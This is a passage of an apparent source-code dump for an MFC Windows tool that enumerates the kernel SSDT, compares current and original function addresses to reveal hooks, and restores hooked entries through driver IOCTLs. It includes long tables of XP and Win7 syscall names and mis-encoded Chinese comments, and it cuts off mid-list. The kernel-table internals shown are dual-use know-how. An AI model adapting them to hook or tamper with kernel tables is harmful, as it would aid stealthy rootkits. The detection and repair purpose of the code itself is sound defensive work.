TODO: ڴӿؼ֪ͨ\r\n\tint i = 0;\r\n\tCMenu\tpopup;\r\n\tpopup.LoadMenu(IDR_MENU); //ز˵Դ\r\n\tCMenu*\tpM = popup.GetSubMenu(0); //ò˵\r\n\tCPoint\tp;\r\n\tGetCursorPos(&p);\r\n\tint\tcount = pM->GetMenuItemCount();\r\n\tif (m_ControlListSSDTInfor.GetSelectedCount() == 0) //ûѡ\r\n\t{ \r\n\t\tfor (int i = 0;iEnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //˵ȫ\r\n\t\t}\r\n\r\n\t}else\r\n\t{\r\n\t\tPOSITION Pos = m_ControlListSSDTInfor.GetFirstSelectedItemPosition(); \r\n\t\tint iItem = m_ControlListSSDTInfor.GetNextSelectedItem(Pos); \r\n\t\ti = m_ControlListSSDTInfor.GetItemData(iItem); \r\n\t\tif(i==1)\r\n\t\t{\r\n\t\t\tpM->EnableMenuItem(1, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //ڴɫ\r\n\t\t}\r\n\t\tif(i==2)\r\n\t\t{\r\n\t\t\tpM->EnableMenuItem(0, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //ڴɫ\r\n\t\t}\r\n\t\tif(i==0)\r\n\t\t{\r\n\t\t\tpM->EnableMenuItem(0, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //ڴɫ\r\n\t\t\tpM->EnableMenuItem(1, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //ڴɫ\r\n\t\t}\r\n\r\n\t}\r\n\r\n\r\n\tpM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);\r\n\t*pResult = 0;\r\n}\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/SSDT.h", "content": "#pragma once\r\n#include \"afxcmn.h\"\r\n#include \r\n#include \r\n#include \"OpenDevice.h\"\r\n#include \r\n#pragma comment(lib,\"ImageHlp.lib\")\r\nusing namespace std;\r\n#define ENUM_SSDT 100\r\n#define ENUM_RING3 200\r\n\r\n#define IOCTL_GET_SSDT_FUNCTIONADDRESS\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SSDT_SERVERICE_BASE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SSDT_MODULENAME \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x841,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n\r\n#define IOCTL_UNHOOK_SSDT \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x850,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n\r\n#define IOCTL_RESUME_SSDT_INLINEHOOK\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x851, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SSDT_CURRENT_FUNC_CODE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x852, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n#define GET_SSDT_SERVERICE_BASE 80\r\n#define GET_SSDT_SYS_MODULE_INFOR 90\r\n#define GET_SSDT_CURRENT_FUNC_CODE 140\r\n\r\n// CSSDT Ի\r\ntypedef struct _SSDT_INFOR\r\n{\r\n\tULONG FunctionIndex;\r\n\tPVOID CurrentFunctionAddress;\r\n\tPVOID OriginalFunctionAddress;\r\n\tchar szFunctionName[60];\r\n\tWCHAR wzModule[60];\r\n\tUCHAR szCurrentFunctionCode[CODE_LENGTH];\r\n\tUCHAR szOriginalFunctionCode[CODE_LENGTH];\r\n}SSDT_INFOR,*PSSDT_INFOR;\r\n\r\n\r\ntypedef struct _SSDT_INFOR_FOR\r\n{\r\n\tULONG FunctionIndex;\r\n\tPVOID CurrentFunctionAddress;\r\n\tPVOID OriginalFunctionAddress;\r\n\tchar szFunctionName[60];\r\n}SSDT_INFOR_FOR,*PSSDT_INFOR_FOR;\r\n\r\n\r\ntypedef struct _SSDT_INFORMATION\r\n{\r\n\tULONG_PTR NumberOfFunction;\r\n\tSSDT_INFOR_FOR SSDT[1];\r\n}SSDT_INFORMATION, *PSSDT_INFORMATION;\r\n\r\n\r\n\r\nclass CSSDT : public CDialogEx\r\n{\r\n\tDECLARE_DYNAMIC(CSSDT)\r\n\r\npublic:\r\n\tCSSDT(CWnd* pParent = NULL); // ׼캯\r\n\tvirtual ~CSSDT();\r\n\tBOOL CSSDT::EnumSSDTInfor();\r\n\tVOID CSSDT::AddItemToControlList(SSDT_INFOR_FOR SSDTInfor);\r\n\r\n\tCString m_strTempNtosFilePath;\r\n\tCString m_strNtoskFilePath;\r\n\tPVOID m_ServiceTable;\r\n\tPVOID m_ServiceTableBase;\r\n\tPVOID m_NtosModuleBase;\r\n\tPVOID m_TempNtoskModuleBase;\r\n\tBOOL m_bOk;\r\n\tBOOL m_ShowHook;\r\n\tUCHAR m_CurrentFunctionCode[CODE_LENGTH];\r\n\tHANDLE OpenDevice(LPCTSTR wzLinkPath)\r\n\t{\r\n\t\tHANDLE hDevice = CreateFile(wzLinkPath,\r\n\t\t\tGENERIC_READ | GENERIC_WRITE,\r\n\t\t\tFILE_SHARE_READ | FILE_SHARE_WRITE,\r\n\t\t\tNULL,\r\n\t\t\tOPEN_EXISTING,\r\n\t\t\tFILE_ATTRIBUTE_NORMAL,\r\n\t\t\tNULL);\r\n\r\n\t\tif (hDevice == INVALID_HANDLE_VALUE)\r\n\t\t{\r\n\r\n\t\t}\r\n\r\n\t\treturn hDevice;\r\n\r\n\t}\r\n\r\n\tvoid CSSDT::GetOriginalSSDTFunctionCode(ULONG_PTR CurrentFunctionAddress, PUCHAR szBuffer, SIZE_T Length)\r\n\t{\r\n\t\tULONG_PTR OriginalFunctionAddress = CurrentFunctionAddress - (ULONG_PTR)m_NtosModuleBase+(ULONG_PTR)m_TempNtoskModuleBase;\r\n\t\tmemcpy(szBuffer,(PVOID)OriginalFunctionAddress, Length);\r\n\t\t//memcpy(szBuffer,(PVOID)CurrentFunctionAddress,Length);\r\n\t}\r\n\tULONG_PTR CSSDT::GetOriginalSSDTFunctionAddress(ULONG ulIndex);\r\n\tBOOL CSSDT::SendIoControlCode(ULONG ulIndex,PVOID* FuntionAddress,ULONG_PTR ulControlCode,WCHAR* wzSysModuleName);\r\n\tBOOL CSSDT::MakeTempWin32kFile();\r\n\tint CSSDT::FixRelocTable(ULONG_PTR NewModuleBase, ULONG_PTR OriginalModuleBase);\r\n// Ի\r\n\tenum { IDD = IDD_DIALOG_SSDT };\r\n\r\n\tULONG_PTR RVAToOffset(PIMAGE_NT_HEADERS NTHeader, ULONG_PTR ulRVA); \r\n\r\n\tCOpenDevice OpenDeviceSSDT;\r\n\tBOOL CSSDT::EnumSSDTInfor(PSSDT_INFOR SSDTInfor);\r\n\tVOID CSSDT::AddItemToControlList(ULONG SSDTFunctionCount,PSSDT_INFOR SSSDTInfor);\r\nprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧\r\n\tvector m_Vector;\r\n\tDECLARE_MESSAGE_MAP()\r\npublic:\r\n\tCListCtrl m_ControlListSSDTInfor;\r\n\tvirtual BOOL OnInitDialog();\r\n\tUINT m_Num1;\r\n\tafx_msg void OnBnClickedButtonEnumfunc();\r\n\tafx_msg void OnResumeResumessd();\r\n\tafx_msg void OnResumeResumeinlinehook();\r\n\tafx_msg void OnResumeShowhook();\r\n\tafx_msg void OnRclickListSsdt(NMHDR *pNMHDR, LRESULT *pResult);\r\n};\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/SSDTFunc.h", "content": "#pragma once\r\n\r\n\r\n\r\n\r\n\r\nCHAR szWinXPFunctionNameSSDT[284][100]=\r\n{\r\n\t\"NtAcceptConnectPort\"\t\t\r\n\t,\"NtAccessCheck\"\t\r\n\t,\"NtAccessCheckAndAuditAlarm\"\t\t\r\n\t,\"NtAccessCheckByType\"\t\t\r\n\t,\"NtAccessCheckByTypeAndAuditAlarm\"\t\r\n\t,\"NtAccessCheckByTypeResultList\"\t\t\r\n\t,\"NtAccessCheckByTypeResultListAndAuditAlarm\"\t\r\n\t,\"NtAccessCheckByTypeResultListAndAuditAlarmByHandle\"\t\t\r\n\t,\"NtAddAtom\"\t\t\r\n\t,\"NtAddBootEntry\"\t\r\n\t,\"NtAdjustGroupsToken\"\t\t\r\n\t,\"NtAdjustPrivilegesToken\"\t\t\r\n\t,\"NtAlertResumeThread\"\t\t\r\n\t,\"NtAlertThread\"\t\t\r\n\t,\"NtAllocateLocallyUniqueId\"\t\r\n\t,\"NtAllocateUserPhysicalPages\"\t\t\r\n\t,\"NtAllocateUuids\"\t\t\r\n\t,\"NtAllocateVirtualMemory\"\t\t\r\n\t,\"NtAreMappedFilesTheSame\"\t\t\r\n\t,\"NtAssignProcessToJobObject\"\t\t\r\n\t,\"NtCallbackReturn\"\t\t\r\n\t,\"NtCancelDeviceWakeupRequest\"\t\t\r\n\t,\"NtCancelIoFile\"\t\t\r\n\t,\"NtCancelTimer\"\t\t\r\n\t,\"NtClearEvent\"\t\t\r\n\t,\"NtClose\"\t\t\r\n\t,\"NtCloseObjectAuditAlarm\"\t\t\r\n\t,\"NtCompactKeys\"\t\t\r\n\t,\"NtCompareTokens\"\t\t\r\n\t,\"NtCompleteConnectPort\"\t\t\r\n\t,\"NtCompressKey\"\t\t\r\n\t,\"NtConnectPort\"\t\t\r\n\t,\"NtContinue\"\t\t\r\n\t,\"NtCreateDebugObject\"\t\t\r\n\t,\"NtCreateDirectoryObject\"\t\t\r\n\t,\"NtCreateEvent\"\t\t\r\n\t,\"NtCreateEventPair\"\t\t\r\n\t,\"NtCreateFile\"\t\t\r\n\t,\"NtCreateIoCompletion\"\t\t\r\n\t,\"NtCreateJobObject\"\t\t\r\n\t,\"NtCreateJobSet\"\t\t\r\n\t,\"NtCreateKey\"\t\t\r\n\t,\"NtCreateMailslotFile\"\t\t\r\n\t,\"NtCreateMutant\"\t\t\r\n\t,\"NtCreateNamedPipeFile\"\t\t\r\n\t,\"NtCreatePagingFile\"\t\t\r\n\t,\"NtCreatePort\"\t\t\r\n\t,\"NtCreateProcess\"\t\r\n\t,\"NtCreateProcessEx\"\t\t\r\n\t,\"NtCreateProfile\"\t\t\r\n\t,\"NtCreateSection\"\t\t\r\n\t,\"NtCreateSemaphore\"\t\t\r\n\t,\"NtCreateSymbolicLinkObject\"\t\r\n\t,\"NtCreateThread\"\t\t\r\n\t,\"NtCreateTimer\"\t\t\r\n\t,\"NtCreateToken\"\t\t\r\n\t,\"NtCreateWaitablePort\"\t\t\r\n\t,\"NtDebugActiveProcess\"\t\t\r\n\t,\"NtDebugContinue\"\t\t\r\n\t,\"NtDelayExecution\"\t\r\n\t,\"NtDeleteAtom\"\t\t\r\n\t,\"NtDeleteBootEntry\"\t\r\n\t,\"NtDeleteFile\"\t\t\r\n\t,\"NtDeleteKey\"\t\t\r\n\t,\"NtDeleteObjectAuditAlarm\"\t\r\n\t,\"NtDeleteValueKey\"\t\t\r\n\t,\"NtDeviceIoControlFile\"\t\t\r\n\t,\"NtDisplayString\"\t\r\n\t,\"NtDuplicateObject\"\t\t\r\n\t,\"NtDuplicateToken\"\t\t\r\n\t,\"NtEnumerateBootEntries\"\t\t\r\n\t,\"NtEnumerateKey\"\t\t\r\n\t,\"NtEnumerateSystemEnvironmentValuesEx\"\t\r\n\t,\"NtEnumerateValueKey\"\t\t\r\n\t,\"NtExtendSection\"\t\t\r\n\t,\"NtFilterToken\"\t\t\r\n\t,\"NtFindAtom\"\t\t\r\n\t,\"NtFlushBuffersFile\"\t\t\r\n\t,\"NtFlushInstructionCache\"\t\t\r\n\t,\"NtFlushKey\"\t\t\r\n\t,\"NtFlushVirtualMemory\"\t\t\r\n\t,\"NtFlushWriteBuffer\"\t\t\r\n\t,\"NtFreeUserPhysicalPages\"\t\t\r\n\t,\"NtFreeVirtualMemory\"\t\t\r\n\t,\"NtFsControlFile\"\t\t\r\n\t,\"NtGetContextThread\"\t\t\r\n\t,\"NtGetDevicePowerState\"\t\t\r\n\t,\"NtGetPlugPlayEvent\"\t\t\r\n\t,\"NtGetWriteWatch\"\t\t\r\n\t,\"NtImpersonateAnonymousToken\"\t\r\n\t,\"NtImpersonateClientOfPort\"\t\r\n\t,\"NtImpersonateThread\"\t\t\r\n\t,\"NtInitializeRegistry\"\t\t\r\n\t,\"NtInitiatePowerAction\"\t\t\r\n\t,\"NtIsProcessInJob\"\t\t\r\n\t,\"NtIsSystemResumeAutomatic\"\t\t\r\n\t,\"NtListenPort\"\t\t\r\n\t,\"NtLoadDriver\"\t\t\r\n\t,\"NtLoadKey\"\t\t\r\n\t,\"NtLoadKey2\"\t\t\r\n\t,\"NtLockFile\"\t\t\r\n\t,\"NtLockProductActivationKeys\"\t\r\n\t,\"NtLockRegistryKey\"\t\t\r\n\t,\"NtLockVirtualMemory\"\t\t\r\n\t,\"NtMakePermanentObject\"\t\r\n\t,\"NtMakeTemporaryObject\"\t\r\n\t,\"NtMapUserPhysicalPages\"\t\t\r\n\t,\"NtMapUserPhysicalPagesScatter\"\t\r\n\t,\"NtMapViewOfSection\"\t\t\r\n\t,\"NtModifyBootEntry\"\t\t\r\n\t,\"NtNotifyChangeDirectoryFile\"\t\t\r\n\t,\"NtNotifyChangeKey\"\t\t\r\n\t,\"NtNotifyChangeMultipleKeys\"\t\r\n\t,\"NtOpenDirectoryObject\"\t\t\r\n\t,\"NtOpenEvent\"\t\t\r\n\t,\"NtOpenEventPair\"\t\t\r\n\t,\"NtOpenFile\"\t\t\r\n\t,\"NtOpenIoCompletion\"\t\t\r\n\t,\"NtOpenJobObject\"\t\t\r\n\t,\"NtOpenKey\"\t\t\r\n\t,\"NtOpenMutant\"\t\t\r\n\t,\"NtOpenObjectAuditAlarm\"\t\t\r\n\t,\"NtOpenProcess\"\t\t\r\n\t,\"NtOpenProcessToken\"\t\t\r\n\t,\"NtOpenProcessTokenEx\"\t\t\r\n\t,\"NtOpenSection\"\t\t\r\n\t,\"NtOpenSemaphore\"\t\t\r\n\t,\"NtOpenSymbolicLinkObject\"\t\t\r\n\t,\"NtOpenThread\"\t\t\r\n\t,\"NtOpenThreadToken\"\t\r\n\t,\"NtOpenThreadTokenEx\"\t\t\r\n\t,\"NtOpenTimer\"\t\t\r\n\t,\"NtPlugPlayControl\"\t\r\n\t,\"NtPowerInformation\"\t\r\n\t,\"NtPrivilegeCheck\"\t\r\n\t,\"NtPrivilegeObjectAuditAlarm\"\t\r\n\t,\"NtPrivilegedServiceAuditAlarm\"\t\t\r\n\t,\"NtProtectVirtualMemory\"\t\t\r\n\t,\"NtPulseEvent\"\t\t\r\n\t,\"NtQueryAttributesFile\"\t\t\r\n\t,\"NtQueryBootEntryOrder\"\t\t\r\n\t,\"NtQueryBootOptions\"\t\t\r\n\t,\"NtQueryDebugFilterState\"\t\t\r\n\t,\"NtQueryDefaultLocale\"\t\t\r\n\t,\"NtQueryDefaultUILanguage\"\t\t\r\n\t,\"NtQueryDirectoryFile\"\t\t\r\n\t,\"NtQueryDirectoryObject\"\t\t\r\n\t,\"NtQueryEaFile\"\t\t\r\n\t,\"NtQueryEvent\"\t\t\r\n\t,\"NtQueryFullAttributesFile\"\t\t\r\n\t,\"NtQueryInformationAtom\"\t\t\r\n\t,\"NtQueryInformationFile\"\t\t\r\n\t,\"NtQueryInformationJobObject\"\t\t\r\n\t,\"NtQueryInformationPort\"\t\t\r\n\t,\"NtQueryInformationProcess\"\t\t\r\n\t,\"NtQueryInformationThread\"\t\t\r\n\t,\"NtQueryInformationToken\"\t\t\r\n\t,\"NtQueryInstallUILanguage\"\t\t\r\n\t,\"NtQueryIntervalProfile\"\t\t\r\n\t,\"NtQueryIoCompletion\"\t\r\n\t,\"NtQueryKey\"\t\t\r\n\t,\"NtQueryMultipleValueKey\"\t\t\r\n\t,\"NtQueryMutant\"\t\t\r\n\t,\"NtQueryObject\"\t\t\r\n\t,\"NtQueryOpenSubKeys\"\t\t\r\n\t,\"NtQueryPerformanceCounter\"\t\t\r\n\t,\"NtQueryQuotaInformationFile\"\t\t\r\n\t,\"NtQuerySection\"\t\t\r\n\t,\"NtQuerySecurityObject\"\t\t\r\n\t,\"NtQuerySemaphore\"\t\t\r\n\t,\"NtQuerySymbolicLinkObject\"\t\t\r\n\t,\"NtQuerySystemEnvironmentValue\"\t\t\r\n\t,\"NtQuerySystemEnvironmentValueEx\"\t\t\r\n\t,\"NtQuerySystemInformation\"\t\t\r\n\t,\"NtQuerySystemTime\"\t\t\r\n\t,\"NtQueryTimer\"\t\t\r\n\t,\"NtQueryTimerResolution\"\t\t\r\n\t,\"NtQueryValueKey\"\t\t\r\n\t,\"NtQueryVirtualMemory\"\t\t\r\n\t,\"NtQueryVolumeInformationFile\"\t\t\r\n\t,\"NtQueueApcThread\"\t\t\r\n\t,\"NtRaiseException\"\t\t\r\n\t,\"NtRaiseHardError\"\t\t\r\n\t,\"NtReadFile\"\t\t\r\n\t,\"NtReadFileScatter\"\t\t\r\n\t,\"NtReadRequestData\"\t\t\r\n\t,\"NtReadVirtualMemory\"\t\t\r\n\t,\"NtRegisterThreadTerminatePort\"\t\t\r\n\t,\"NtReleaseMutant\"\t\t\r\n\t,\"NtReleaseSemaphore\"\t\t\r\n\t,\"NtRemoveIoCompletion\"\t\t\r\n\t,\"NtRemoveProcessDebug\"\t\t\r\n\t,\"NtRenameKey\"\t\t\r\n\t,\"NtReplaceKey\"\t\t\r\n\t,\"NtReplyPort\"\t\t\r\n\t,\"NtReplyWaitReceivePort\"\t\t\r\n\t,\"NtReplyWaitReceivePortEx\"\t\t\r\n\t,\"NtReplyWaitReplyPort\"\t\t\r\n\t,\"NtRequestDeviceWakeup\"\t\t\r\n\t,\"NtRequestPort\"\t\t\r\n\t,\"NtRequestWaitReplyPort\"\t\t\r\n\t,\"NtRequestWakeupLatency\"\t\t\r\n\t,\"NtResetEvent\"\t\t\r\n\t,\"NtResetWriteWatch\"\t\t\r\n\t,\"NtRestoreKey\"\t\t\r\n\t,\"NtResumeProcess\"\t\t\r\n\t,\"NtResumeThread\"\t\t\r\n\t,\"NtSaveKey\"\t\t\r\n\t,\"NtSaveKeyEx\"\t\t\r\n\t,\"NtSaveMergedKeys\"\t\t\r\n\t,\"NtSecureConnectPort\"\t\t\r\n\t,\"NtSetBootEntryOrder\"\t\t\r\n\t,\"NtSetBootOptions\"\t\t\r\n\t,\"NtSetContextThread\"\t\t\r\n\t,\"NtSetDebugFilterState\"\t\t\r\n\t,\"NtSetDefaultHardErrorPort\"\t\t\r\n\t,\"NtSetDefaultLocale\"\t\t\r\n\t,\"NtSetDefaultUILanguage\"\t\t\r\n\t,\"NtSetEaFile\"\t\t\r\n\t,\"NtSetEvent\"\t\t\r\n\t,\"NtSetEventBoostPriority\"\t\t\r\n\t,\"NtSetHighEventPair\"\t\t\r\n\t,\"NtSetHighWaitLowEventPair\"\t\t\r\n\t,\"NtSetInformationDebugObject\"\t\t\r\n\t,\"NtSetInformationFile\"\t\t\r\n\t,\"NtSetInformationJobObject\"\t\t\r\n\t,\"NtSetInformationKey\"\t\t\r\n\t,\"NtSetInformationObject\"\t\t\r\n\t,\"NtSetInformationProcess\"\t\t\r\n\t,\"NtSetInformationThread\"\t\t\r\n\t,\"NtSetInformationToken\"\t\t\r\n\t,\"NtSetIntervalProfile\"\t\t\r\n\t,\"NtSetIoCompletion\"\t\t\r\n\t,\"NtSetLdtEntries\"\t\t\r\n\t,\"NtSetLowEventPair\"\t\t\r\n\t,\"NtSetLowWaitHighEventPair\"\t\t\r\n\t,\"NtSetQuotaInformationFile\"\t\t\r\n\t,\"NtSetSecurityObject\"\t\t\r\n\t,\"NtSetSystemEnvironmentValue\"\t\t\r\n\t,\"NtSetSystemEnvironmentValueEx\"\t\t\r\n\t,\"NtSetSystemInformation\"\t\t\r\n\t,\"NtSetSystemPowerState\"\t\t\r\n\t,\"NtSetSystemTime\"\t\t\r\n\t,\"NtSetThreadExecutionState\"\t\t\r\n\t,\"NtSetTimer\"\t\t\r\n\t,\"NtSetTimerResolution\"\t\t\r\n\t,\"NtSetUuidSeed\"\t\r\n\t,\"NtSetValueKey\"\t\t\r\n\t,\"NtSetVolumeInformationFile\"\t\t\r\n\t,\"NtShutdownSystem\"\t\t\r\n\t,\"NtSignalAndWaitForSingleObject\"\t\t\r\n\t,\"NtStartProfile\"\t\t\r\n\t,\"NtStopProfile\"\t\t\r\n\t,\"NtSuspendProcess\"\t\t\r\n\t,\"NtSuspendThread\"\t\t\r\n\t,\"NtSystemDebugControl\"\t\t\r\n\t,\"NtTerminateJobObject\"\t\t\r\n\t,\"NtTerminateProcess\"\t\t\r\n\t,\"NtTerminateThread\"\t\t\r\n\t,\"NtTestAlert\"\t\t\r\n\t,\"NtTraceEvent\"\t\t\r\n\t,\"NtTranslateFilePath\"\t\t\r\n\t,\"NtUnloadDriver\"\t\t\r\n\t,\"NtUnloadKey\"\t\t\r\n\t,\"NtUnloadKeyEx\"\t\t\r\n\t,\"NtUnlockFile\"\t\t\r\n\t,\"NtUnlockVirtualMemory\"\t\t\r\n\t,\"NtUnmapViewOfSection\"\t\t\r\n\t,\"NtVdmControl\"\t\t\r\n\t,\"NtWaitForDebugEvent\"\t\t\r\n\t,\"NtWaitForMultipleObjects\"\t\t\r\n\t,\"NtWaitForSingleObject\"\t\r\n\t,\"NtWaitHighEventPair\"\t\t\r\n\t,\"NtWaitLowEventPair\"\t\t\r\n\t,\"NtWriteFile\"\t\t\r\n\t,\"NtWriteFileGather\"\t\t\r\n\t,\"NtWriteRequestData\"\t\t\r\n\t,\"NtWriteVirtualMemory\"\t\t\r\n\t,\"NtYieldExecution\"\t\t\r\n\t,\"NtCreateKeyedEvent\"\t\t\r\n\t,\"NtOpenKeyedEvent\"\t\t\r\n\t,\"NtReleaseKeyedEvent\"\t\t\r\n\t,\"NtWaitForKeyedEvent\"\t\t\r\n\t,\"NtQueryPortInformationProcess\"\t\r\n};\r\nchar szWin7FunctionNameSSDT[401][100]=\r\n{\r\n\r\n\t\"NtMapUserPhysicalPagesScatter\"\r\n\t,\"NtWaitForSingleObject\"\t\r\n\t,\"NtCallbackReturn\"\t\t\r\n\t,\"NtReadFile\"\t\r\n\t,\"NtDeviceIoControlFile\"\t\t\r\n\t,\"NtWriteFile\"\t\t\r\n\t,\"NtRemoveIoCompletion\"\t\t\r\n\t,\"NtReleaseSemaphore\"\t\r\n\t,\"NtReplyWaitReceivePort\"\t\t\r\n\t,\"NtReplyPort\"\t\r\n\t,\"NtSetInformationThread\"\t\t\r\n\t,\"NtSetEvent\"\t\r\n\t,\"NtClose\"\t\t\r\n\t,\"NtQueryObject\"\t\t\r\n\t,\"NtQueryInformationFile\"\t\t\r\n\t,\"NtOpenKey\"\t\t\r\n\t,\"NtEnumerateValueKey\"\t\t\r\n\t,\"NtFindAtom\"\t\t\r\n\t,\"NtQueryDefaultLocale\"\t\t\r\n\t,\"NtQueryKey\"\t\t\r\n\t,\"NtQueryValueKey\"\t\t\r\n\t,\"NtAllocateVirtualMemory\"\t\t\r\n\t,\"NtQueryInformationProcess\"\t\t\r\n\t,\"NtWaitForMultipleObjects32\"\t\t\r\n\t,\"NtWriteFileGather\"\t\t\r\n\t,\"NtSetInformationProcess\"\t\t\r\n\t,\"NtCreateKey\"\t\t\r\n\t,\"NtFreeVirtualMemory\"\t\t\r\n\t,\"NtImpersonateClientOfPort\"\t\t\r\n\t,\"NtReleaseMutant\"\t\t\r\n\t,\"NtQueryInformationToken\"\t\t\r\n\t,\"NtRequestWaitReplyPort\"\t\t\r\n\t,\"NtQueryVirtualMemory\"\t\t\r\n\t,\"NtOpenThreadToken\"\t\t\r\n\t,\"NtQueryInformationThread\"\t\t\r\n\t,\"NtOpenProcess\"\t\t\r\n\t,\"NtSetInformationFile\"\t\t\r\n\t,\"NtMapViewOfSection\"\t\t\r\n\t,\"NtAccessCheckAndAuditAlarm\"\t\t\r\n\t,\"NtUnmapViewOfSection\"\t\t\r\n\t,\"NtReplyWaitReceivePortEx\"\t\t\r\n\t,\"NtTerminateProcess\"\t\t\r\n\t,\"NtSetEventBoostPriority\"\t\t\r\n\t,\"NtReadFileScatter\"\t\t\r\n\t,\"NtOpenThreadTokenEx\"\t\t\r\n\t,\"NtOpenProcessTokenEx\"\t\t\r\n\t,\"NtQueryPerformanceCounter\"\t\t\r\n\t,\"NtEnumerateKey\"\t\t\r\n\t,\"NtOpenFile\"\t\t\r\n\t,\"NtDelayExecution\"\t\t\r\n\t,\"NtQueryDirectoryFile\"\t\t\r\n\t,\"NtQuerySystemInformation\"\t\t\r\n\t,\"NtOpenSection\"\t\t\r\n\t,\"NtQueryTimer\"\t\t\r\n\t,\"NtFsControlFile\"\t\t\r\n\t,\"NtWriteVirtualMemory\"\t\t\r\n\t,\"NtCloseObjectAuditAlarm\"\t\t\r\n\t,\"NtDuplicateObject\"\t\t\r\n\t,\"NtQueryAttributesFile\"\t\t\r\n\t,\"NtClearEvent\"\t\t\r\n\t,\"NtReadVirtualMemory\"\t\t\r\n\t,\"NtOpenEvent\"\t\t\r\n\t,\"NtAdjustPrivilegesToken\"\t\t\r\n\t,\"NtDuplicateToken\"\t\t\r\n\t,\"NtContinue\"\t\t\r\n\t,\"NtQueryDefaultUILanguage\"\t\t\r\n\t,\"NtQueueApcThread\"\t\t\r\n\t,\"NtYieldExecution\"\t\t\r\n\t,\"NtAddAtom\"\t\t\r\n\t,\"NtCreateEvent\"\t\t\r\n\t,\"NtQueryVolumeInformationFile\"\t\t\r\n\t,\"NtCreateSection\"\t\t\r\n\t,\"NtFlushBuffersFile\"\t\t\r\n\t,\"NtApphelpCacheControl\"\t\t\r\n\t,\"NtCreateProcessEx\"\t\t\r\n\t,\"NtCreateThread\"\t\t\r\n\t,\"NtIsProcessInJob\"\t\t\r\n\t,\"NtProtectVirtualMemory\"\t\t\r\n\t,\"NtQuerySection\"\t\t\r\n\t,\"NtResumeThread\"\t\t\r\n\t,\"NtTerminateThread\"\t\t\r\n\t,\"NtReadRequestData\"\t\t\r\n\t,\"NtCreateFile\"\t\t\r\n\t,\"NtQueryEvent\"\t\t\r\n\t,\"NtWriteRequestData\"\t\t\r\n\t,\"NtOpenDirectoryObject\"\t\r\n\t,\"NtAccessCheckByTypeAndAuditAlarm\"\t\t\r\n\t,\"NtQuerySystemTime\"\t\t\r\n\t,\"NtWaitForMultipleObjects\"\t\t\r\n\t,\"NtSetInformationObject\"\t\t\r\n\t,\"NtCancelIoFile\"\t\t\r\n\t,\"NtTraceEvent\"\t\r\n\t,\"NtPowerInformation\"\t\t\r\n\t,\"NtSetValueKey\"\t\t\r\n\t,\"NtCancelTimer\"\t\t\r\n\t,\"NtSetTimer\"\t\t\r\n\t,\"NtAcceptConnectPort\"\t\t\r\n\t,\"NtAccessCheck\"\t\t\r\n\t,\"NtAccessCheckByType\"\t\t\r\n\t,\"NtAccessCheckByTypeResultList\"\t\t\r\n\t,\"NtAccessCheckByTypeResultListAndAuditAlarm\"\t\t\r\n\t,\"NtAccessCheckByTypeResultListAndAuditAlarmByHandle\"\t\t\r\n\t,\"NtAddBootEntry\"\t\t\r\n\t,\"NtAddDriverEntry\"\t\t\r\n\t,\"NtAdjustGroupsToken\"\t\r\n\t,\"NtAlertResumeThread\"\t\t\r\n\t,\"NtAlertThread\"\t\r\n\t,\"NtAllocateLocallyUniqueId\"\t\t\r\n\t,\"NtAllocateReserveObject\"\t\t\r\n\t,\"NtAllocateUserPhysicalPages\"\t\t\r\n\t,\"NtAllocateUuids\"\t\t\r\n\t,\"NtAlpcAcceptConnectPort\"\t\t\r\n\t,\"NtAlpcCancelMessage\"\t\t\r\n\t,\"NtAlpcConnectPort\"\t\t\r\n\t,\"NtAlpcCreatePort\"\t\t\r\n\t,\"NtAlpcCreatePortSection\"\t\t\r\n\t,\"NtAlpcCreateResourceReserve\"\t\t\r\n\t,\"NtAlpcCreateSectionView\"\t\t\r\n\t,\"NtAlpcCreateSecurityContext\"\t\t\r\n\t,\"NtAlpcDeletePortSection\"\t\t\r\n\t,\"NtAlpcDeleteResourceReserve\"\t\t\r\n\t,\"NtAlpcDeleteSectionView\"\t\t\r\n\t,\"NtAlpcDeleteSecurityContext\"\t\t\r\n\t,\"NtAlpcDisconnectPort\"\t\t\r\n\t,\"NtAlpcImpersonateClientOfPort\"\t\t\r\n\t,\"NtAlpcOpenSenderProcess\"\t\t\r\n\t,\"NtAlpcOpenSenderThread\"\t\t\r\n\t,\"NtAlpcQueryInformation\"\t\t\r\n\t,\"NtAlpcQueryInformationMessage\"\t\r\n\t,\"NtAlpcRevokeSecurityContext\"\t\t\r\n\t,\"NtAlpcSendWaitReceivePort\"\t\t\r\n\t,\"NtAlpcSetInformation\"\t\t\r\n\t,\"NtAreMappedFilesTheSame\"\t\t\r\n\t,\"NtAssignProcessToJobObject\"\t\t\r\n\t,\"NtCancelIoFileEx\"\t\t\r\n\t,\"NtCancelSynchronousIoFile\"\t\t\r\n\t,\"NtCommitComplete\"\t\t\r\n\t,\"NtCommitEnlistment\"\t\t\r\n\t,\"NtCommitTransaction\"\t\t\r\n\t,\"NtCompactKeys\"\t\t\r\n\t,\"NtCompareTokens\"\t\t\r\n\t,\"NtCompleteConnectPort\"\t\r\n\t,\"NtCompressKey\"\t\t\r\n\t,\"NtConnectPort\"\t\r\n\t,\"NtCreateDebugObject\"\t\t\r\n\t,\"NtCreateDirectoryObject\"\t\t\r\n\t,\"NtCreateEnlistment\